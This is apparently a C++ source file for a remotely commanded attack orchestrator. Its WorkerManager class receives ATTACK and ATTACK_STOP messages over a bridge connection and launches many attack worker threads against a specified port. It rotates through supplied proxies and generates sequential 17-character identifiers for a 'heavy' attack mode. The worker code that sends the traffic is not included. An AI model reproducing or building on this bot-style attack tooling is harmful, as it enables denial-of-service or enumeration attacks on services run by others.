#include <myfilelog.hxx>
#include <loghelper.hxx>
#include <utility.hxx>
#include <macro.hxx>
#include <cassert>

#include <bridgemessage.hxx>
#include "bridgeconn.hxx"
#include "workermanager.hxx"
#include "attackworker.hxx"
#include "hvyattackworker.hxx"

    WorkerManager::WorkerManager(BridgeConn* bridgeconn, FileLog *filelog)
:Thread(),
    _bridgeconn(bridgeconn),
    _workers(),
    _workers_mutex(),
    _cjhroot(),
    _clxh(),
    _proxies(),
    _proxies_mutex(),
    _is_shutdown_requested(false),
    _filelog(filelog)
{
	Start();
}
WorkerManager::~WorkerManager()
{
}

void WorkerManager::Shutdown(void)
{
    _is_shutdown_requested = true;
}

void WorkerManager::Attack(int port, tUInt32 atktype, tUInt32 atknum)
{
    APPENDMSGEX("Start attacking port "<<port<<" with atktype "<<atktype<<", atknum "<<atknum, 0);

    Utility::Lock lock(&_workers_mutex);

    if (atknum > WorkerMax - _workers.size())
    {
        APPENDMSGEX("WorkerManager atknum changed "<<atknum<<" to "<<WorkerMax-_workers.size()<<".", 2);

        atknum = WorkerMax - _workers.size();
    }

    AttackWorker* worker;
    while (atknum-- > 0)
    {
        if (atktype == 1)
        {
            worker = new AttackWorker(port, GetProxy(), _filelog);
        }
        else if (atktype == 2)
        {
            string cjh, clxh;
            GetCjh(cjh, clxh);

            worker = new HvyAttackWorker(port, cjh, clxh, _filelog);
        }
        try
        {
            worker->Start();
        }
        catch (ThreadException& e)
        {
            APPENDMSGEX("WorkerManager worker creation failed '"<<e.Description()<<"'", 3);
            throw;
        }

        worker->Attack();
        _workers.push_back(worker);
    }

    APPENDMSGEX("WorkerManager "<<atknum<<" worker(s) created at Attack, in all "<<_workers.size()<<" alive.", 3);
}

void WorkerManager::StopAttack(void)
{
    APPENDMSGEX("Stop attacking...", 0);

    Utility::Lock lock(&_workers_mutex);

    list<AttackWorker*>::iterator iter = _workers.begin();
    while (iter != _workers.end())
    {
        (*iter)->StopAttack();
        (*iter)->Shutdown();

        ++iter;
    }
}

void WorkerManager::Execute(Thread::Arg)
{
    APPENDMSGEX("WorkerManager starting...", 3);

    RequestCjhRoot();

    APPENDMSGEX("WorkerManager started.", 3);

    int tick = 0;
    tBridgeMsg* bmsg;
    while (!_is_shutdown_requested)
    {
        if (++tick > 200)
        {
            ClearWorkers();
            tick = 0;
        }

        bmsg = _bridgeconn->GetMsg();
        if (!bmsg)
        {
            Thread::SleepMs(100);
            continue;
        }

        HandleMsg(bmsg);

        ReleaseBMsg(bmsg);
        bmsg = NULL;
    }

    APPENDMSGEX("WorkerManager shutdown requested...", 3);


    APPENDMSGEX("WorkerManager shutdowned.", 3);
}

void WorkerManager::HandleMsg(const tBridgeMsg* bmsg)
{
    switch (bmsg->tom)
    {
        case E_WAS_MSG_CJHR_RSP:
            {
                _cjhroot = bmsg->GetData(E_WAS_TAG_ID_CJHR);
                _clxh = bmsg->GetData(E_WAS_TAG_ID_CLXH);

                APPENDMSGEX("HandleMsg received cjhRoot:"<<_cjhroot<<", clxh:"<<_clxh<<".", 3);
            }
            break;
        case E_WAS_MSG_REP_PROXIES:
            SaveProxies(Utility::Split(bmsg->GetData(E_WAS_TAG_ID_EMSG), ','));
            break;
        case E_WAS_MSG_ATTACK:
            {
                tUInt32 port = static_cast<tUInt32>(atoi(bmsg->GetData(E_WAS_TAG_ID_PORT).c_str()));
                tUInt32 atktype = static_cast<tUInt32>(atoi(bmsg->GetData(E_WAS_TAG_ID_ATKT).c_str()));
                tUInt32 atknum = static_cast<tUInt32>(atoi(bmsg->GetData(E_WAS_TAG_ID_ATKN).c_str()));

                assert(port && atktype && atknum);

                Attack(port, atktype, atknum);
            }
            break;
        case E_WAS_MSG_ATTACK_STOP:
            {
                APPENDMSGEX("HandleMsg received ATTACK_STOP.", 3);

                StopAttack();
            }
            break;
        default:
            APPENDMSGEX("HandleMsg unknown message type!!", 3);
            break;
    }
}

void WorkerManager::ClearWorkers(void)
{
    if (_workers.empty())
        return ;

    Utility::Lock lock(&_workers_mutex);

    int cleared = 0;

    list<AttackWorker*>::iterator iter = _workers.begin();
    while(iter != _workers.end())
    {
        if ((*iter)->State() == Thread::FINISHED_STATE)
        {
            (*iter)->Join();
            delete *iter;

            iter = _workers.erase(iter);

            ++cleared;
        }
        else
            ++iter;
    } // while(iter != _workers.end())

    if (cleared)
    {
        APPENDMSGEX("WorkerManager "<<cleared<<" worker(s) cleared, "<<_workers.size()<<" alive.", 3);
    }
}

int WorkerManager::GetCjh(string& cjh, string& clxh) const
{
    const tUInt32 CjhLength = 17;

    static int trialIndex = 0;

    assert(!_cjhroot.empty() && !_clxh.empty());

    stringstream ss;
    ss<<_cjhroot<<(trialIndex++);

    while (string(ss.str()).length() < CjhLength)
        ss<<"0";

    cjh = ss.str();
    clxh = _clxh;

    return trialIndex;
}

string WorkerManager::GetProxy(void) const
{
    Utility::Lock lock(&_proxies_mutex);

    if (_proxies_iter == _proxies.end())
        _proxies_iter = _proxies.begin();

    string proxy;
    if (_proxies_iter != _proxies.end())
    {
        proxy = *_proxies_iter;
        ++_proxies_iter;
    }

    return proxy;
}

void WorkerManager::SaveProxies(const std::vector<string>& proxies)
{
    Utility::Lock lock(&_proxies_mutex);

    _proxies.insert(proxies.begin(), proxies.end());

    APPENDMSGEX("Saved proxies "<<proxies.size()<<"/"<<_proxies.size()<<".", 3);
}

void WorkerManager::RequestCjhRoot(void)
{
    APPENDMSGEX("Requesting CjhRoot...", 3);

    tUInt32 tom = E_WAS_MSG_CJHR_REQ;

    Request(tom);
}

void WorkerManager::Request(tUInt32 tom)
{
    tByte* msg;
    tUInt32 len;
    tUInt32 mpi = 0;
    tUInt32 tid = 0;
    tUInt32 rspc = X_WAS_RSPC_NONE;

    msg = was_write_msg(&len, mpi, tom, tid, rspc,
            E_WAS_TAG_ID_NONE);

    tBridgeMsg* bmsg = CreateBMsg();
    bmsg->lom = len;
    bmsg->mpi = mpi;
    bmsg->tom = tom;
    bmsg->tid = tid;
    bmsg->rspc = rspc;
    bmsg->msg = msg;

    _bridgeconn->SendMsg(bmsg);
}
